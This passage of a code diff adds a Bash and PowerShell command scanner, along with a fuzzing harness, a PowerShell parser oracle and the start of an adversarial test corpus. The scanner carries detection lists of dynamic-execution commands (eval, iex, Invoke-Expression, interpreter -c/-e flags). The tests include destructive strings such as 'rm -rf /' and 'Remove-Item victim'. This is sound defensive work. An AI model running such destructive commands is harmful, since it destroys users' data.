+      for (const mode of ["success", "failure"]) {
+        await Bun.write(log, "")
+        const execution = Bun.spawnSync([shell.path, ...shell.args, "-c", source], {
+          cwd: work,
+          env: { HOME: root, PATH: bin, ORACLE_LOG: log, ORACLE_MODE: mode, ZDOTDIR: root },
+          stdin: "ignore",
+          stdout: "ignore",
+          stderr: "pipe",
+        })
+        status = execution.exitCode
+        stderr = execution.stderr.toString().trim()
+        if (execution.exitCode === 127 || /command not found|not found/i.test(execution.stderr.toString())) {
+          metric.violations++
+          findings.push({
+            shell: shell.name,
+            categories: [...categories],
+            source,
+            dispatched: [...dispatched],
+            scanned: result.commands.map((command) => command.words[0] ?? ""),
+            missing: [],
+            status: execution.exitCode,
+            stderr: execution.stderr.toString().trim(),
+            reason: "dispatch",
+          })
+        }
+        for (const name of (await Bun.file(log).text()).split("\n").filter(Boolean)) dispatched.add(name)
+      }
+      metric.dispatches += dispatched.size
+      for (const category of categories) {
+        coverage[`${shell.name}:${category}`].scanned++
+        coverage[`${shell.name}:${category}`].dispatches += dispatched.size
+      }
+      const remaining = new Set(result.commands.map((command) => command.words[0] ?? ""))
+      const missing = [...dispatched].filter((name) => {
+        return !remaining.has(name)
+      })
+      if (!missing.length) continue
+      metric.violations++
+      findings.push({
+        shell: shell.name,
+        categories: [...categories],
+        source,
+        dispatched: [...dispatched],
+        scanned: result.commands.map((command) => command.words[0] ?? ""),
+        missing,
+        status,
+        stderr,
+        reason: "dispatch",
+      })
+    }
+  }
+} finally {
+  rmSync(root, { recursive: true, force: true })
+}
+
+for (const shell of shells) {
+  const metric = metrics[shell.name]
+  if (metric.scanned < 2_000 || metric.dispatches < 4_000) {
+    throw new Error(
+      `${shell.name} coverage fell below floor: ${metric.scanned} scanned, ${metric.dispatches} dispatches`,
+    )
+  }
+  for (const category of [
+    "simple",
+    "separator",
+    "substitution",
+    "comment",
+    "continuation",
+    "conditional",
+    "literal",
+    "deterministic-random",
+  ]) {
+    const item = coverage[`${shell.name}:${category}`]
+    if (!item || item.scanned === 0 || item.dispatches === 0)
+      throw new Error(`${shell.name}:${category} has no scanned dispatch coverage`)
+  }
+}
+
+console.log(
+  JSON.stringify(
+    {
+      schema: 1,
+      invariant: "For scanned results, every uniquely named fake-executable dispatch appears in scanned command heads.",
+      generated: executionCases.length,
+      categories: Object.fromEntries(
+        [...new Set([...cases.values()].flatMap((categories) => [...categories]))].map((category) => [
+          category,
+          [...cases.values()].filter((categories) => categories.has(category)).length,
+        ]),
+      ),
+      shells: shells.map((shell) => ({
+        name: shell.name,
+        path: shell.path,
+        version: versions[shell.name],
+        strictSyntax: shell.strict,
+        metrics: metrics[shell.name],
+      })),
+      coverage,
+      findings,
+    },
+    null,
+    2,
+  ),
+)
+
+if (findings.length) process.exitCode = 1

packages/shell-scan/research/powershell-conformance.ts

@@ -0,0 +1,158 @@
+import { ShellScan } from "../src/index.js"
+
+const pwsh = process.env.PWSH ?? Bun.which("pwsh")
+if (!pwsh) {
+  console.error("Set PWSH to a PowerShell executable")
+  process.exit(2)
+}
+const versionProcess = Bun.spawnSync(
+  [pwsh, "-NoProfile", "-NonInteractive", "-Command", "$PSVersionTable.PSVersion.Major"],
+  { stdout: "pipe", stderr: "pipe" },
+)
+const oracleMajor = Number(versionProcess.stdout.toString().trim())
+if (versionProcess.exitCode !== 0 || !Number.isInteger(oracleMajor) || oracleMajor < 5)
+  throw new Error(`PowerShell 5 or newer required: ${versionProcess.stderr.toString().trim()}`)
+
+const commands = ["Get-ChildItem", "Write-Output", "Remove-Item", "Test-Path"] as const
+const arguments_ = ["", " value", " 'single ; | # text'", ' "double ; | # text"', " foo`;bar"] as const
+const separators = [";", "|", ...(oracleMajor >= 7 ? ["&&", "||"] : []), "\n", "\r", "\r\n"] as const
+const sources = new Set<string>()
+
+for (const command of commands) {
+  for (const argument of arguments_) sources.add(command + argument)
+}
+for (const left of commands) {
+  for (const separator of separators) {
+    for (const right of commands) sources.add(`${left} left${separator}${right} right`)
+  }
+}
+for (const command of commands) {
+  sources.add(`# comment\n${command}`)
+  sources.add(`# comment\r${command}`)
+  sources.add(`# comment\r\n${command}`)
+  sources.add(`${command} before # ignored\nWrite-Output after`)
+  sources.add(`${command} before # ignored\rWrite-Output after`)
+  sources.add(`${command} before # ignored\r\nWrite-Output after`)
+  sources.add(`${command} one > output.txt`)
+  sources.add(`${command} one 2>&1`)
+  sources.add(`${command} one\n\nWrite-Output two`)
+}
+
+const unsupported = [
+  "$Command value",
+  "& $Command value",
+  ". ./script.ps1",
+  'Write-Output "$(Get-ChildItem)"',
+  "Get-ChildItem | ForEach-Object { Remove-Item $_ }",
+  "return Remove-Item victim",
+  "throw Get-ChildItem",
+  "[string]$x = Remove-Item victim",
+  "Invoke-`\nExpression 'Remove-Item victim'",
+  "<# comment #> Remove-Item victim",
+  "using module Evil",
+  "#Requires -Modules Evil\nWrite-Output ok",
+] as const
+for (const source of unsupported) sources.add(source)
+const malformed = ['Write-Output "unterminated', "Get-ChildItem |", "Write-Output ok`", "Get-ChildItem &&"] as const
+for (const source of malformed) sources.add(source)
+
+let randomState = 0x50a7e11
+const random = (length: number) => {
+  randomState = (Math.imul(randomState, 1664525) + 1013904223) >>> 0
+  return randomState % length
+}
+for (let iteration = 0; iteration < 2_500; iteration++) {
+  const left = commands[random(commands.length)]
+  const right = commands[random(commands.length)]
+  const separator = separators[random(separators.length)]
+  const argument = arguments_[random(arguments_.length)]
+  const forms = [
+    `${left} fuzz${iteration}${separator}${right}${argument}`,
+    `${left.toLowerCase()} fuzz${iteration}${separator}${right.toUpperCase()}${argument}`,
+    `${left} fuzz${iteration} > output${iteration}; ${right}${argument}`,
+    `${left} fuzz${iteration} # ignored\n${right}${argument}`,
+    `${left} fuzz${iteration} # ignored\r${right}${argument}`,
+    `${left} fuzz${iteration} # ignored\r\n${right}${argument}`,
+    `${left}\`\n fuzz${iteration}; ${right}${argument}`,
+    `Microsoft.PowerShell.Management\\${left} fuzz${iteration}; ${right}${argument}`,
+  ]
+  sources.add(forms[random(forms.length)])
+}
+
+const process_ = Bun.spawnSync([pwsh, "-NoProfile", "-NonInteractive", "-File", "research/powershell-oracle.ps1"], {
+  cwd: import.meta.dir + "/..",
+  stdin: new TextEncoder().encode(JSON.stringify([...sources])),
+  stdout: "pipe",
+  stderr: "pipe",
+})
+if (process_.exitCode !== 0) {
+  console.error(process_.stderr.toString())
+  process.exit(process_.exitCode)
+}
+
+const oracle = JSON.parse(process_.stdout.toString()) as {
+  version: string
+  results: Array<{
+    source: string
+    commands: Array<{ name: string | null; text: string; start: number; end: number }>
+    errors: string[]
+  }>
+}
+const version = Number(oracle.version.split(".")[0])
+if (version !== oracleMajor)
+  throw new Error(`PowerShell version changed during oracle run: ${oracleMajor} to ${oracle.version}`)
+const returned = new Set(oracle.results.map((result) => result.source))
+if (
+  oracle.results.length !== sources.size ||
+  returned.size !== sources.size ||
+  [...sources].some((source) => !returned.has(source))
+)
+  throw new Error(`PowerShell oracle returned ${oracle.results.length} results for ${sources.size} unique sources`)
+const evaluated = oracle.results.map((item) => ({ item, scanned: ShellScan.scanPowerShell(item.source) }))
+const findings = evaluated.flatMap(({ item, scanned }) => {
+  if (unsupported.includes(item.source as (typeof unsupported)[number]) && scanned.kind !== "opaque")
+    return [{ source: item.source, reason: "unsupported-scanned", expected: [], actual: [], missing: [] }]
+  if (item.errors.length > 0)
+    return scanned.kind === "opaque"
+      ? []
+      : [{ source: item.source, reason: "malformed-scanned", expected: [], actual: [], missing: item.errors }]
+  if (scanned.kind === "opaque") return []
+  if (item.commands.some((command) => command.name === null))
+    return [{ source: item.source, reason: "dynamic-head-scanned", expected: [], actual: [], missing: [] }]
+  const expected = item.commands.map((command) => normalize(command.name ?? ""))
+  const actual = scanned.commands.map((command) => normalize(command.words[0] ?? ""))
+  let index = 0
+  const missing = expected.filter((name) => {
+    while (index < actual.length && actual[index] !== name) index++
+    if (index >= actual.length) return true
+    index++
+    return false
+  })
+  const invalidExtent = item.commands.find((command) => item.source.slice(command.start, command.end) !== command.text)
+  if (invalidExtent)
+    return [{ source: item.source, reason: "invalid-extent", expected, actual, missing: [invalidExtent.text] }]
+  return missing.length > 0 ? [{ source: item.source, reason: "missing-command", expected, actual, missing }] : []
+})
+const scannedCount = evaluated.filter(({ scanned }) => scanned.kind === "scanned").length
+if (scannedCount < 1_900) throw new Error(`PowerShell scanned coverage fell below floor: ${scannedCount}`)
+
+console.log(
+  JSON.stringify(
+    {
+      schema: 1,
+      powershell: oracle.version,
+      generated: sources.size,
+      parsed: oracle.results.filter((result) => result.errors.length === 0).length,
+      scanned: scannedCount,
+      violations: findings.length,
+      findings,
+    },
+    null,
+    2,
+  ),
+)
+if (findings.length > 0) process.exitCode = 1
+
+function normalize(name: string) {
+  return name.replace(/`?[\r\n]+/g, "").toLowerCase()
+}

packages/shell-scan/research/powershell-oracle.ps1

@@ -0,0 +1,29 @@
+$ErrorActionPreference = "Stop"
+
+$sources = [Console]::In.ReadToEnd() | ConvertFrom-Json
+$results = foreach ($source in $sources) {
+  $tokens = $null
+  $errors = $null
+  $ast = [System.Management.Automation.Language.Parser]::ParseInput($source, [ref] $tokens, [ref] $errors)
+  $commands = $ast.FindAll(
+    { param($node) $node -is [System.Management.Automation.Language.CommandAst] },
+    $true
+  ) | ForEach-Object {
+    [pscustomobject]@{
+      name = $_.GetCommandName()
+      text = $_.Extent.Text
+      start = $_.Extent.StartOffset
+      end = $_.Extent.EndOffset
+    }
+  }
+  [pscustomobject]@{
+    source = $source
+    commands = @($commands)
+    errors = @($errors | ForEach-Object { $_.Message })
+  }
+}
+
+[pscustomobject]@{
+  version = $PSVersionTable.PSVersion.ToString()
+  results = @($results)
+} | ConvertTo-Json -Depth 6 -Compress

packages/shell-scan/src/index.ts

@@ -0,0 +1,645 @@
+export * as ShellScan from "./index.js"
+
+export type OpaqueReason =
+  | "command-substitution"
+  | "compound-command"
+  | "command-wrapper"
+  | "dynamic-command-name"
+  | "dynamic-directory"
+  | "dynamic-execution"
+  | "heredoc"
+  | "invalid-redirect"
+  | "invalid-structure"
+  | "shell-evaluation"
+  | "unterminated-escape"
+  | "unterminated-quote"
+
+export type Result =
+  | { kind: "scanned"; commands: Array<{ resource: string; words: string[] }> }
+  | { kind: "opaque"; reason: OpaqueReason }
+
+const BASH_WRAPPERS = new Set([
+  "-",
+  "time",
+  "command",
+  "builtin",
+  "exec",
+  "env",
+  "sudo",
+  "nice",
+  "nohup",
+  "xargs",
+  "source",
+  ".",
+  "trap",
+  "noglob",
+  "nocorrect",
+  "repeat",
+])
+const BASH_SHELLS = new Set(["bash", "sh", "dash", "zsh", "ksh"])
+const BASH_DYNAMIC_BUILTINS = new Set([
+  "alias",
+  "emulate",
+  "enable",
+  "fc",
+  "hash",
+  "let",
+  "mapfile",
+  "read",
+  "readarray",
+  "shopt",
+  "unalias",
+  "unset",
+])
+const BASH_COMPOUND_KEYWORDS = new Set([
+  "if",
+  "then",
+  "elif",
+  "else",
+  "fi",
+  "for",
+  "while",
+  "until",
+  "case",
+  "select",
+  "function",
+  "do",
+  "done",
+  "coproc",
+])
+const POWERSHELL_LOCATIONS = new Set(["set-location", "cd", "chdir", "sl", "push-location"])
+const POWERSHELL_SHELLS = new Set(["powershell", "powershell.exe", "pwsh", "pwsh.exe"])
+const POWERSHELL_DYNAMIC_COMMANDS = new Set([
+  "add-pssnapin",
+  "add-type",
+  "cmd",
+  "cmd.exe",
+  "cscript",
+  "cscript.exe",
+  "enter-pssession",
+  "foreach-object",
+  "iex",
+  "import-alias",
+  "import-module",
+  "import-pssession",
+  "invoke-history",
+  "invoke-command",
+  "invoke-expression",
+  "invoke-item",
+  "measure-command",
+  "new-alias",
+  "new-module",
+  "register-objectevent",
+  "register-engineevent",
+  "remove-alias",
+  "remove-module",
+  "remove-pssnapin",
+  "set-alias",
+  "start-job",
+  "start-process",
+  "start-threadjob",
+  "set-psbreakpoint",
+  "trace-command",
+  "where-object",
+  "wscript",
+  "wscript.exe",
+])
+const POWERSHELL_ALIASES: Record<string, string> = {
+  "%": "foreach-object",
+  "?": "where-object",
+  ac: "add-content",
+  asnp: "add-pssnapin",
+  cli: "clear-item",
+  clc: "clear-content",
+  copy: "copy-item",
+  cp: "copy-item",
+  cpi: "copy-item",
+  del: "remove-item",
+  erase: "remove-item",
+  etsn: "enter-pssession",
+  foreach: "foreach-object",
+  icm: "invoke-command",
+  ihy: "invoke-history",
+  ii: "invoke-item",
+  ipal: "import-alias",
+  ipmo: "import-module",
+  ipsn: "import-pssession",
+  mi: "move-item",
+  move: "move-item",
+  mv: "move-item",
+  nal: "new-alias",
+  ni: "new-item",
+  nmo: "new-module",
+  r: "invoke-history",
+  rd: "remove-item",
+  ren: "rename-item",
+  ri: "remove-item",
+  rm: "remove-item",
+  rmdir: "remove-item",
+  rni: "rename-item",
+  rmo: "remove-module",
+  rsnp: "remove-pssnapin",
+  sajb: "start-job",
+  sal: "set-alias",
+  saps: "start-process",
+  sbp: "set-psbreakpoint",
+  sc: "set-content",
+  si: "set-item",
+  start: "start-process",
+  pushd: "push-location",
+  trcm: "trace-command",
+  where: "where-object",
+}
+const MAX_BASH_INPUT_LENGTH = 64 * 1024
+const MAX_SUBSTITUTION_DEPTH = 32
+
+export function scan(input: string): Result {
+  return scanBash(input, 0)
+}
+
+function scanBash(input: string, depth: number): Result {
+  if (input.length > MAX_BASH_INPUT_LENGTH) return { kind: "opaque", reason: "invalid-structure" }
+  const commands: Array<{ resource: string; words: string[] }> = []
+  const nestedCommands: Array<{ resource: string; words: string[] }> = []
+  const words: string[] = []
+  const unsafeWords: boolean[] = []
+  const assignmentWords: boolean[] = []
+  let word = ""
+  let wordStarted = false
+  let unsafeWord = false
+  let assignmentWord = false
+  let segment = 0
+  let quote: "single" | "double" | undefined
+  let dynamicWord = false
+  let compound = false
+  let invalidRedirect = false
+  let invalidStructure = false
+  let separated = false
+  let comment: number | undefined
+  let heredoc = false
+  let redirectTarget = false
+  let hasRedirect = false
+  let dynamicAssignment = false
+
+  const finishWord = () => {
+    if (!wordStarted) return
+    if (!redirectTarget) {
+      words.push(word)
+      unsafeWords.push(unsafeWord)
+      assignmentWords.push(assignmentWord)
+    }
+    redirectTarget = false
+    word = ""
+    wordStarted = false
+    unsafeWord = false
+    assignmentWord = false
+  }
+  const finishCommand = (end: number, boundary = false) => {
+    finishWord()
+    const resource = input.slice(segment, end).trim()
+    const name = assignmentWords.findIndex((assignment) => !assignment)
+    if (
+      assignmentWords.some(
+        (assignment, index) =>
+          assignment &&
+          /^(?:PATH|path|CDPATH|cdpath|FPATH|fpath|ENV|BASH_ENV|SHELLOPTS|PS4|PROMPT4|LD_[A-Z0-9_]+|DYLD_[A-Z0-9_]+|GIT_[A-Z_]*COMMAND)\+?=/.test(
+            words[index] ?? "",
+          ),
+      )
+    )
+      dynamicAssignment = true
+    if (name >= 0 && (unsafeWords[name] || /[*?[]/.test(words[name]))) compound = true
+    if (resource && name >= 0)
+      commands.push({
+        resource,
+        words: words.slice(name),
+      })
+    else if (hasRedirect || boundary || separated) invalidStructure = true
+    words.length = 0
+    unsafeWords.length = 0
+    assignmentWords.length = 0
+    separated = true
+    hasRedirect = false
+  }
+
+  for (let index = 0; index < input.length; index++) {
+    const char = input[index]
+    if (quote === "single") {
+      wordStarted = true
+      unsafeWord = true
+      if (char === "'") quote = undefined
+      else word += char
+      continue
+    }
+    if (quote === "double") {
+      wordStarted = true
+      unsafeWord = true
+      if (char === '"') quote = undefined
+      else if (char === "\\" && index + 1 < input.length) word += input[++index]
+      else if ((char === "$" && input[index + 1] === "(") || char === "`") {
+        const substitution = bashSubstitution(input, index)
+        if (!substitution || depth >= MAX_SUBSTITUTION_DEPTH) return { kind: "opaque", reason: "command-substitution" }
+        const result = scanBash(substitution.source, depth + 1)
+        if (result.kind === "opaque") return result
+        nestedCommands.push(...result.commands)
+        word += input.slice(index, substitution.end + 1)
+        index = substitution.end
+      } else {
+        if (char === "$" && /^\$\{[^}:@]+@P\}/.test(input.slice(index)))
+          return { kind: "opaque", reason: "dynamic-execution" }
+        if (char === "$" && /^\$\{\([^)]*e[^)]*\)/.test(input.slice(index)))
+          return { kind: "opaque", reason: "dynamic-execution" }
+        if (char === "$") dynamicWord = true
+        word += char
+      }
+      continue
+    }
+    if (char === "'") {
+      quote = "single"
+      wordStarted = true
+      unsafeWord = true
+      continue
+    }
+    if (char === '"') {
+      quote = "double"
+      wordStarted = true
+      unsafeWord = true
+      continue
+    }
+    if (char === "\\") {
+      if (index + 1 >= input.length) return { kind: "opaque", reason: "unterminated-escape" }
+      wordStarted = true
+      unsafeWord = true
+      if (input[index + 1] === "\n") index++
+      else word += input[++index]
+      continue
+    }
+    if ((char === "$" && input[index + 1] === "(") || char === "`") {
+      const substitution = bashSubstitution(input, index)
+      if (!substitution || depth >= MAX_SUBSTITUTION_DEPTH) return { kind: "opaque", reason: "command-substitution" }
+      const result = scanBash(substitution.source, depth + 1)
+      if (result.kind === "opaque") return result
+      nestedCommands.push(...result.commands)
+      wordStarted = true
+      unsafeWord = true
+      word += input.slice(index, substitution.end + 1)
+      index = substitution.end
+      continue
+    }
+    if (char === "$" && input[index + 1] === "{" && /^\$\{[^}:@]+@P\}/.test(input.slice(index)))
+      return { kind: "opaque", reason: "dynamic-execution" }
+    if (char === "$" && /^\$\{\([^)]*e[^)]*\)/.test(input.slice(index)))
+      return { kind: "opaque", reason: "dynamic-execution" }
+    if (char === "$" && input[index + 1] === "[") return { kind: "opaque", reason: "dynamic-execution" }
+    if (char === "<" && input[index + 1] === "<") heredoc = true
+    if (char === "#" && !wordStarted) {
+      finishCommand(index)
+      comment = index
+      const newline = input.indexOf("\n", index)
+      if (newline === -1) break
+      index = newline
+      segment = newline + 1
+      continue
+    }
+    const redirect = /^(?:&>>?|<<<|<<-?|<>|<&|>&|>\||>>|>|<)/.exec(input.slice(index))?.[0]
+    if (redirect) {
+      hasRedirect = true
+      if (redirectTarget) invalidRedirect = true
+      if (wordStarted && /^\d+$/.test(word)) {
+        word = ""
+        wordStarted = false
+      } else finishWord()
+      redirectTarget = true
+      index += redirect.length - 1
+      continue
+    }
+    if (
+      "(){}".includes(char) ||
+      (char === "&" && input[index + 1] !== "&" && input[index - 1] !== "|") ||
+      (char === "!" && !wordStarted)
+    )
+      compound = true
+    if (/\s/.test(char) && char !== "\n") {
+      finishWord()
+      continue
+    }
+    const next = input[index + 1]
+    const separator =
+      (char === "&" && next === "&") || (char === "|" && (next === "|" || next === "&"))
+        ? char + next
+        : char === ";" || char === "|" || char === "\n"
+          ? char
+          : undefined
+    if (separator) {
+      finishCommand(index, true)
+      if (redirectTarget) invalidRedirect = true
+      index += separator.length - 1
+      segment = index + 1
+      continue
+    }
+    wordStarted = true
+    if (char === "$") dynamicWord = true
+    if (char === "=" && !unsafeWord && /^[A-Za-z_][A-Za-z0-9_]*\+?$/.test(word)) assignmentWord = true
+    word += char
+  }
+
+  if (quote) return { kind: "opaque", reason: "unterminated-quote" }
+  if (heredoc) return { kind: "opaque", reason: "heredoc" }
+  if (comment === undefined || input.includes("\n", comment)) finishCommand(input.length)
+  if (redirectTarget) invalidRedirect = true
+  if (separated && comment === undefined && !input.slice(segment).trim()) invalidStructure = true
+  if (invalidStructure) return { kind: "opaque", reason: "invalid-structure" }
+  if (invalidRedirect) return { kind: "opaque", reason: "invalid-redirect" }
+  if (compound || commands.some((command) => BASH_COMPOUND_KEYWORDS.has(command.words[0] ?? "")))
+    return { kind: "opaque", reason: "compound-command" }
+  if (
+    commands.some((command) => command.words[0]?.includes("$")) ||
+    (dynamicWord && commands[0]?.words[0]?.includes("$"))
+  )
+    return { kind: "opaque", reason: "dynamic-command-name" }
+  if (commands.some((command) => command.words[0]?.startsWith("=")))
+    return { kind: "opaque", reason: "dynamic-command-name" }
+  if (dynamicAssignment) return { kind: "opaque", reason: "dynamic-command-name" }
+  if (commands.some((command) => BASH_WRAPPERS.has(shellCommandName(command.words[0]))))
+    return { kind: "opaque", reason: "command-wrapper" }
+  if (
+    commands.some((command) => {
+      const name = shellCommandName(command.words[0])
+      if (name === "eval") return true
+      if (BASH_SHELLS.has(name)) return true
+      if (BASH_DYNAMIC_BUILTINS.has(name)) return true
+      if (["declare", "local", "typeset"].includes(name))
+        return command.words.some(
+          (word, index) => index > 0 && (/^-[^-]*[aAi]/.test(word) || (/\[[^\]]*\$/.test(word) && word.includes("="))),
+        )
+      if (name === "printf") return command.words.some((word, index) => index > 0 && word === "-v")
+      if (name === "test" || name === "[") return command.words.some((word) => word === "-v")
+      if (name === "find")
+        return command.words.some(
+          (word) => word === "-exec" || word === "-execdir" || word === "-ok" || word === "-okdir",
+        )
+      if (name === "awk" || name === "gawk" || name === "mawk" || name === "nawk") return true
+      if (name === "jobs") return command.words.some((word, index) => index > 0 && /^-[^-]*x/.test(word))
+      if (name === "sched" || name === "zpty") return true
+      if (name === "autoload") return true
+      if (name === "export")
+        return command.words.some(
+          (word, index) =>
+            index > 0 &&
+            /^(?:PATH|path|CDPATH|cdpath|FPATH|fpath|ENV|BASH_ENV|SHELLOPTS|PS4|PROMPT4|LD_[A-Z0-9_]+|DYLD_[A-Z0-9_]+|GIT_[A-Z_]*COMMAND)\+?=/.test(
+              word,
+            ),
+        )
+      if (name === "set")
+        return command.words.some((word, index) => {
+          if (index === 0) return false
+          const option = word.toLowerCase().replaceAll("_", "")
+          return /^-[^-]*x/.test(word) || option === "xtrace" || option === "-o=xtrace" || option === "promptsubst"
+        })
+      if (name === "setopt" || name === "unsetopt") return true
+      if (name === "print") return command.words.some((word, index) => index > 0 && /^-[^-]*P/.test(word))
+      if (name === "git") return command.words.some((word, index) => index > 0 && /^alias\.[^=]+=!/.test(word))
+      if (name === "python" || name === "python3")
+        return command.words.some((word, index) => index > 0 && (/^-[A-Za-z]*c/.test(word) || word === "-c"))
+      if (name === "perl" || name === "ruby")
+        return command.words.some((word, index) => index > 0 && (/^-[A-Za-z]*e/.test(word) || word === "-e"))
+      if (name === "node" || name === "bun")
+        return command.words.some(
+          (word, index) =>
+            index > 0 &&
+            (/^-[A-Za-z]*[ep]/.test(word) ||
+              ["-e", "-p", "--eval", "--print"].includes(word) ||
+              /^(?:--eval|--print)=/.test(word)),
+        )
+      return false
+    })
+  )
+    return { kind: "opaque", reason: "shell-evaluation" }
+  return { kind: "scanned", commands: commands.concat(nestedCommands) }
+}
+
+function bashSubstitution(input: string, start: number) {
+  if (input[start] === "`") {
+    for (let index = start + 1; index < input.length; index++) {
+      if (input[index] === "\\") index++
+      else if (input[index] === "`") return { source: input.slice(start + 1, index).replaceAll("\\`", "`"), end: index }
+    }
+    return
+  }
+  if (input.slice(start, start + 3) === "$((") return
+  let quote: "single" | "double" | undefined
+  let level = 1
+  for (let index = start + 2; index < input.length; index++) {
+    const char = input[index]
+    if (quote === "single") {
+      if (char === "'") quote = undefined
+      continue
+    }
+    if (char === "\\") {
+      index++
+      continue
+    }
+    if (char === "'") {
+      quote = "single"
+      continue
+    }
+    if (char === "#" && (index === start + 2 || /[\s;&|()]/.test(input[index - 1] ?? ""))) return
+    if (char === '"') {
+      quote = quote === "double" ? undefined : "double"
+      continue
+    }
+    if (char === "`" && quote !== "double") {
+      const nested = bashSubstitution(input, index)
+      if (!nested) return
+      index = nested.end
+      continue
+    }
+    if (quote === "double") {
+      if (char === "$" && input[index + 1] === "(") {
+        level++
+        index++
+      } else if (char === ")" && level > 1) level--
+      continue
+    }
+    if (char === "(") level++
+    if (char !== ")" || --level) continue
+    return { source: input.slice(start + 2, index), end: index }
+  }
+}
+
+export function scanPowerShell(input: string): Result {
+  const commands: Array<{ resource: string; words: string[] }> = []
+  const words: string[] = []
+  let segment = 0
+  let word = ""
+  let started = false
+  let quote: "single" | "double" | undefined
+  let dynamic = false
+  let invalid = false
+  let redirectTarget = false
+  let comment = false
+  let separated = false
+  let dangling = false
+  let dynamicDirectory = false
+
+  const finishWord = () => {
+    if (!started) return
+    if (!redirectTarget) words.push(word)
+    redirectTarget = false
+    word = ""
+    started = false
+  }
+  const finishCommand = (end: number, boundary = false) => {
+    finishWord()
+    const resource = input.slice(segment, end).trim()
+    if (resource) commands.push({ resource, words: [...words] })
+    else if (boundary && separated) invalid = true
+    words.length = 0
+    separated ||= Boolean(resource)
+  }
+
+  for (let index = 0; index < input.length; index++) {
+    const char = input[index]
+    if (quote) {
+      started = true
+      if (quote === "single" && char === "'" && input[index + 1] === "'") {
+        word += "'"
+        index++
+      } else if ((quote === "single" && char === "'") || (quote === "double" && char === '"')) quote = undefined
+      else if (char === "`" && index + 1 < input.length) word += input[++index]
+      else {
+        if (quote === "double" && char === "$" && input[index + 1] === "(") dynamic = true
+        word += char
+      }
+      continue
+    }
+    if (char === "'" || char === '"') {
+      quote = char === "'" ? "single" : "double"
+      started = true
+      continue
+    }
+    if (char === "`" && index + 1 < input.length) {
+      if (words.length === 0) dynamic = true
+      started = true
+      if (input[index + 1] === "\r" && input[index + 2] === "\n") index += 2
+      else if (input[index + 1] === "\r" || input[index + 1] === "\n") index++
+      else word += input[++index]
+      continue
+    }
+    if (char === "`") return { kind: "opaque", reason: "unterminated-escape" }
+    if (char === "<" && input[index + 1] === "#") return { kind: "opaque", reason: "dynamic-execution" }
+    if (char === "#" && !started) {
+      if (/^#requires\b/i.test(input.slice(index))) return { kind: "opaque", reason: "dynamic-execution" }
+      finishCommand(index)
+      comment = true
+      const endings = [input.indexOf("\n", index), input.indexOf("\r", index)].filter((ending) => ending >= 0)
+      const newline = endings.length > 0 ? Math.min(...endings) : -1
+      if (newline === -1) break
+      comment = false
+      index = input[newline] === "\r" && input[newline + 1] === "\n" ? newline + 1 : newline
+      segment = newline + 1
+      continue
+    }
+    const redirect = powerShellRedirect(input, index)
+    if (redirect) {
+      finishWord()
+      redirectTarget = !redirect.includes("&")
+      index += redirect.length - 1
+      continue
+    }
+    if ("{}@()".includes(char) || char === "&" || (char === "." && !started)) dynamic = true
+    if (/\s/.test(char) && char !== "\n" && char !== "\r") {
+      finishWord()
+      continue
+    }
+    const next = input[index + 1]
+    const separator =
+      char === "\r" && next === "\n"
+        ? char + next
+        : (char === "&" && next === "&") || (char === "|" && next === "|")
+          ? char + next
+          : char === ";" || char === "|" || char === "\n" || char === "\r"
+            ? char
+            : undefined
+    if (separator) {
+      finishCommand(index, true)
+      if (redirectTarget) invalid = true
+      dangling = separator !== ";" && separator !== "\n" && separator !== "\r" && separator !== "\r\n"
+      index += separator.length - 1
+      segment = index + 1
+      continue
+    }
+    started = true
+    dangling = false
+    word += char
+  }
+
+  if (quote) return { kind: "opaque", reason: "unterminated-quote" }
+  if (!comment) finishCommand(input.length)
+  if (redirectTarget || invalid || dangling) return { kind: "opaque", reason: "invalid-structure" }
+  if (
+    dynamic ||
+    commands.some((command) => {
+      const head = command.words[0] ?? ""
+      if (head.includes("\\") && !/^[A-Za-z]:\\/.test(head)) return true
+      const rawName = shellCommandName(head)
+      const name = POWERSHELL_ALIASES[rawName] ?? rawName
+      if (name === "using" && /^(?:module|assembly)$/i.test(command.words[1] ?? "")) return true
+      if (head.includes("$") || head.includes("@")) return true
+      if (["return", "throw", "exit", "break", "continue"].includes(name) && command.words.length > 1) return true
+      if (POWERSHELL_DYNAMIC_COMMANDS.has(name)) return true
+      if (/\.(?:ps1|psm1|cmd|bat|vbs|wsf)$/i.test(name)) return true
+      if (
+        [
+          "set-item",
+          "new-item",
+          "remove-item",
+          "rename-item",
+          "copy-item",
+          "move-item",
+          "clear-item",
+          "set-content",
+          "add-content",
+          "clear-content",
+          "out-file",
+        ].includes(name)
+      )
+        return command.words.some((word) => /^(?:alias|function|env):/i.test(word))
+      if (POWERSHELL_LOCATIONS.has(name ?? ""))
+        return (dynamicDirectory =
+          command.words.some(
+            (word, index) =>
+              index > 0 && (word.includes("(") || (word.includes("$") && !knownPowerShellDirectory(word))),
+          ) ||
+          command.words.some((word, index) => index > 0 && /^[A-Za-z]+:/.test(word) && !/^[A-Za-z]:[\\/]/.test(word)))
+      if (!POWERSHELL_SHELLS.has(name)) return false
+      return command.words.length > 1
+    })
+  )
+    return { kind: "opaque", reason: dynamicDirectory ? "dynamic-directory" : "dynamic-execution" }
+  return { kind: "scanned", commands }
+}
+
+function shellCommandName(word: string | undefined) {
+  const value = (word ?? "").toLowerCase()
+  return value.slice(Math.max(value.lastIndexOf("/"), value.lastIndexOf("\\")) + 1)
+}
+
+function knownPowerShellDirectory(word: string) {
+  const variable = /^(?:\$(?:PWD|HOME|PSHOME)|\$env:[A-Za-z_][A-Za-z0-9_]*|\$\{env:[^}]+\})(?:[\\/]|$)/i.exec(word)
+  return Boolean(variable) && !word.slice(variable?.[0].length).includes("$")
+}
+
+function powerShellRedirect(input: string, index: number) {
+  let cursor = index
+  if (input[cursor] === "*") cursor++
+  else while (/\d/.test(input[cursor] ?? "")) cursor++
+  if (input[cursor] !== ">" && input[cursor] !== "<") return
+  cursor++
+  if (input[cursor] === ">") cursor++
+  if (input[cursor] === "&") {
+    cursor++
+    while (/\d/.test(input[cursor] ?? "")) cursor++
+  }
+  return input.slice(index, cursor)
+}

packages/shell-scan/test/adversarial.test.ts

@@ -0,0 +1,175 @@
+import { describe, expect, test } from "bun:test"
+import { ShellScan } from "../src/index.js"
+
+describe("ShellScan adversarial corpus", () => {
+  const scanned = [
+    ['FOO=bar BAR="x y" git status', ["git"]],
+    [">out FOO=bar printf '%s\\n' ok", ["printf"]],
+    ["printf '%s\\n' 'x; rm -rf /'", ["printf"]],
+    ["printf foo\\;bar", ["printf"]],
+    ["echo \"$HOME\" '${literal}'", ["echo"]],
+    ["git status && npm test || printf failed", ["git", "npm", "printf"]],
